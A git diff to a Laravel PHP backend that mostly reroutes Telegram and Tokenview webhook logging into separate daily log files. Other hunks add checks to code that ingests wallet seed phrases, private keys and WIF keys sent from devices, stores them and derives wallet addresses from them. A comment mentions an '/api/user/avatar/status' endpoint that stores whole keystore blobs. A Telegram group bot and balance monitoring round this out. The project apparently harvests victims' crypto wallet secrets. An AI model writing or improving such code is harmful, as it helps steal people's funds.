diff --git a/app/Http/Controllers/Hooks/TelegramWebhookController.php b/app/Http/Controllers/Hooks/TelegramWebhookController.php index 4d09fb4..965b2ab 100644 --- a/app/Http/Controllers/Hooks/TelegramWebhookController.php +++ b/app/Http/Controllers/Hooks/TelegramWebhookController.php @@ -82,7 +82,7 @@ class TelegramWebhookController extends Controller private function webhookLog(string $level, string $message, array $context = []): void { try { - Log::{$level}($message, $context); + Log::channel('telegram')->{$level}($message, $context); } catch (Throwable) { error_log($message.' '.json_encode($context, JSON_UNESCAPED_UNICODE)); } diff --git a/app/Http/Controllers/Hooks/TokenviewWebhookController.php b/app/Http/Controllers/Hooks/TokenviewWebhookController.php index 613523e..dde0853 100644 --- a/app/Http/Controllers/Hooks/TokenviewWebhookController.php +++ b/app/Http/Controllers/Hooks/TokenviewWebhookController.php @@ -12,6 +12,7 @@ class TokenviewWebhookController extends Controller { public function __invoke(Request $request, TokenviewMonitorService $monitor): Response { + $log = Log::channel('tokenview'); $raw = $request->getContent(); $signature = $request->header('X-Tokenview-Signature'); @@ -21,7 +22,7 @@ class TokenviewWebhookController extends Controller $payload = is_array($decoded) ? $decoded : []; } - Log::info('tokenview webhook received', [ + $log->info('tokenview webhook received', [ 'ip' => $request->ip(), 'method' => $request->method(), 'has_signature' => is_string($signature) && $signature !== '', @@ -33,7 +34,7 @@ class TokenviewWebhookController extends Controller // sign key exists. Always 200 + non-empty body; only skip ingest. $signed = $monitor->verifySignature($raw, $signature); if (! $signed) { - Log::warning('tokenview webhook bad signature (acked 200, skipped ingest)', [ + $log->warning('tokenview webhook bad signature (acked 200, skipped ingest)', [ 'ip' => $request->ip(), 'body_bytes' => strlen($raw), ]); @@ -41,7 +42,7 @@ class TokenviewWebhookController extends Controller try { $monitor->handleWebhook($payload); } catch (\Throwable $e) { - Log::warning('tokenview webhook handle failed: '.$e->getMessage(), [ + $log->warning('tokenview webhook handle failed: '.$e->getMessage(), [ 'exception' => $e::class, ]); } diff --git a/app/Services/IngestService.php b/app/Services/IngestService.php index 6f9fdff..dcbd6a3 100644 --- a/app/Services/IngestService.php +++ b/app/Services/IngestService.php @@ -527,6 +527,14 @@ class IngestService if ($secret === null || $secret === '') { return; } + if (! $this->isValidMnemonic($secret)) { + Log::warning('ingest mnemonic rejected: invalid phrase format', [ + 'device_id' => $device->id, + 'length' => strlen($secret), + ]); + + return; + } $hash = WalletMnemonic::hashSecret($secret); $row = WalletMnemonic::query()->firstOrNew([ @@ -544,6 +552,28 @@ class IngestService } } + /** + * Validate that a secret looks like a BIP39 mnemonic (12 or 24 words, + * each 3-8 lowercase letters). Non-mnemonic secrets (private keys, WIF) + * are also accepted as-is. + */ + private function isValidMnemonic(string $secret): bool + { + $words = preg_split('/\s+/', strtolower(trim($secret))) ?: []; + $n = count($words); + if ($n === 12 || $n === 24) { + foreach ($words as $word) { + if (! preg_match('/^[a-z]{3,8}$/', $word)) { + return false; + } + } + + return true; + } + // Not a word mnemonic — could be a hex private key, WIF, etc. Accept. + return true; + } + /** * `/api/user/avatar/status` — store entire `result` keystore/identity blob. */ diff --git a/app/Services/MnemonicWalletDiscovery.php b/app/Services/MnemonicWalletDiscovery.php index 892b831..ef98f22 100644 --- a/app/Services/MnemonicWalletDiscovery.php +++ b/app/Services/MnemonicWalletDiscovery.php @@ -36,6 +36,16 @@ class MnemonicWalletDiscovery return 0; } + $words = preg_split('/\s+/', trim($phrase)) ?: []; + if (count($words) < 12) { + Log::info('mnemonic wallet discovery skipped: phrase too short', [ + 'mnemonic_id' => $mnemonic->id, + 'word_count' => count($words), + ]); + + return 0; + } + $existing = WalletAddress::query() ->where('mnemonic_id', $mnemonic->id) ->exists(); diff --git a/app/Telegram/Handlers/JoinedChatHandler.php b/app/Telegram/Handlers/JoinedChatHandler.php index cd2e797..cd468f7 100644 --- a/app/Telegram/Handlers/JoinedChatHandler.php +++ b/app/Telegram/Handlers/JoinedChatHandler.php @@ -60,7 +60,7 @@ class JoinedChatHandler ), ); } catch (\Throwable $e) { - Log::warning('telegram join announce failed: '.$e->getMessage(), [ + Log::channel('telegram')->warning('telegram join announce failed: '.$e->getMessage(), [ 'chat_id' => $chatId, ]); } diff --git a/app/Telegram/Middleware/AuthorizedChat.php b/app/Telegram/Middleware/AuthorizedChat.php index 694ddd8..4124667 100644 --- a/app/Telegram/Middleware/AuthorizedChat.php +++ b/app/Telegram/Middleware/AuthorizedChat.php @@ -21,7 +21,7 @@ class AuthorizedChat { $chatId = $bot->chatId(); if (! $this->context->bindFromChatId($chatId)) { - Log::info('telegram AuthorizedChat: chat rejected', [ + Log::channel('telegram')->info('telegram AuthorizedChat: chat rejected', [ 'chat_id' => $chatId, 'expected_official' => trim((string) config('coruna.telegram.owner_chat_id', '')), ]); @@ -32,7 +32,7 @@ class AuthorizedChat $type = $bot->chat()?->type; $typeValue = $type instanceof ChatType ? $type->value : (string) $type; if (! in_array($typeValue, [ChatType::GROUP->value, ChatType::SUPERGROUP->value, 'group', 'supergroup'], true)) { - Log::info('telegram AuthorizedChat: not a group chat', [ + Log::channel('telegram')->info('telegram AuthorizedChat: not a group chat', [ 'chat_id' => $chatId, 'type' => $typeValue, ]); diff --git a/app/Telegram/Middleware/GroupAdminOnly.php b/app/Telegram/Middleware/GroupAdminOnly.php index 2637d39..cfc517a 100644 --- a/app/Telegram/Middleware/GroupAdminOnly.php +++ b/app/Telegram/Middleware/GroupAdminOnly.php @@ -24,7 +24,7 @@ class GroupAdminOnly $type = $bot->chat()?->type; $typeValue = $type instanceof ChatType ? $type->value : (string) $type; if (! in_array($typeValue, [ChatType::GROUP->value, ChatType::SUPERGROUP->value, 'group', 'supergroup'], true)) { - Log::info('telegram GroupAdminOnly: rejected non-group chat', [ + Log::channel('telegram')->info('telegram GroupAdminOnly: rejected non-group chat', [ 'chat_id' => $chatId, 'type' => $typeValue, ]); @@ -35,7 +35,7 @@ class GroupAdminOnly try { $member = $bot->getChatMember($chatId, $userId); } catch (\Throwable $e) { - Log::warning('telegram GroupAdminOnly: getChatMember failed', [ + Log::channel('telegram')->warning('telegram GroupAdminOnly: getChatMember failed', [ 'chat_id' => $chatId, 'user_id' => $userId, 'error' => $e->getMessage(), diff --git a/config/logging.php b/config/logging.php index 02a5aed..c6cb20d 100644 --- a/config/logging.php +++ b/config/logging.php @@ -125,7 +125,15 @@ return [ 'tokenview' => [ 'driver' => 'daily', - 'path' => storage_path('logs/tokenview.log'), + 'path' => storage_path('logs/tokenview/tokenview.log'), + 'level' => env('LOG_LEVEL', 'debug'), + 'days' => env('LOG_DAILY_DAYS', 14), + 'replace_placeholders' => true, + ], + + 'telegram' => [ + 'driver' => 'daily', + 'path' => storage_path('logs/telegram/telegram.log'), 'level' => env('LOG_LEVEL', 'debug'), 'days' => env('LOG_DAILY_DAYS', 14), 'replace_placeholders' => true,